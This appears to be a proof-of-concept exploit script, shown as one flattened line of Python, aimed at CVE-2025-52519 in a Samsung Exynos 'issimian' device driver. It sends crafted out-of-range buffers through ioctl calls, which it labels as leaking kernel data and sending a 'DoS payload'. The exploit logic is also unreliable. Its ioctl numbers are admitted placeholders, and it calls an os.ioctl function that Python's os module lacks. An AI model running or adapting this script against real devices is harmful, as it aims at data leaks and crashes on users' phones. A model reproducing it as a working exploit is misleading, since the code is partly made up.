CVE-2025-52519

#!/usr/bin/env python3 """ CVE-2025-52519 PoC - Samsung Exynos issimian driver validation issue This PoC demonstrates the improper validation vulnerability in issimian device driver. Note: This is for educational and authorized testing purposes only. """ import os import sys import struct # Define ioctl command numbers for issimian driver # These values would need to be extracted from the actual driver source code ISSIMIAN_IOCTL_BASE = 0x89 ISSIMIAN_CMD_READ = 0x01 ISSIMIAN_CMD_WRITE = 0x02 def create_ioctl_cmd(cmd, size): """Create ioctl command with proper encoding""" return (size << 16) | (ord('S') << 8) | cmd def exploit_issimian_driver(): """ Exploit function for CVE-2025-52519 Attempts to trigger the validation issue in issimian driver """ device_path = "/dev/issimian" # Typical device path try: # Open the issimian device fd = os.open(device_path, os.O_RDWR) print(f"[+] Opened {device_path}") # Craft malicious input with invalid parameters # This triggers improper validation handling malicious_data = bytearray(256) # Overflow the buffer with out-of-bounds values # The driver fails to validate these values properly struct.pack_into('<Q', malicious_data, 0, 0xFFFFFFFFFFFFFFFF) # Invalid kernel address struct.pack_into('<Q', malicious_data, 8, 0xFFFFFFFFFFFFFFFF) # Invalid size struct.pack_into('<I', malicious_data, 16, 0xFFFFFFFF) # Invalid flags # Try to trigger information disclosure ioctl_read_cmd = create_ioctl_cmd(ISSIMIAN_CMD_READ, len(malicious_data)) try: result = os.ioctl(fd, ioctl_read_cmd, malicious_data) print(f"[+] ioctl returned: {result}") print(f"[+] Data potentially leaked: {malicious_data.hex()}") except OSError as e: print(f"[*] ioctl read failed (expected in patched systems): {e}") # Try to trigger denial of service ioctl_write_cmd = create_ioctl_cmd(ISSIMIAN_CMD_WRITE, len(malicious_data)) try: result = os.ioctl(fd, ioctl_write_cmd, malicious_data) print(f"[+] DoS payload sent, result: {result}") except OSError as e: print(f"[*] ioctl write failed (expected in patched systems): {e}") os.close(fd) except FileNotFoundError: print(f"[-] Device {device_path} not found") print("[*] This device may not exist on this system or requires root access") except PermissionError: print("[-] Permission denied. Try running as root or check device permissions") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-52519 PoC - Samsung Exynos issimian driver") print("Improper validation of user-space input") print("=" * 60) if os.geteuid() != 0: print("\n[!] Warning: This exploit may require root privileges") exploit_issimian_driver()

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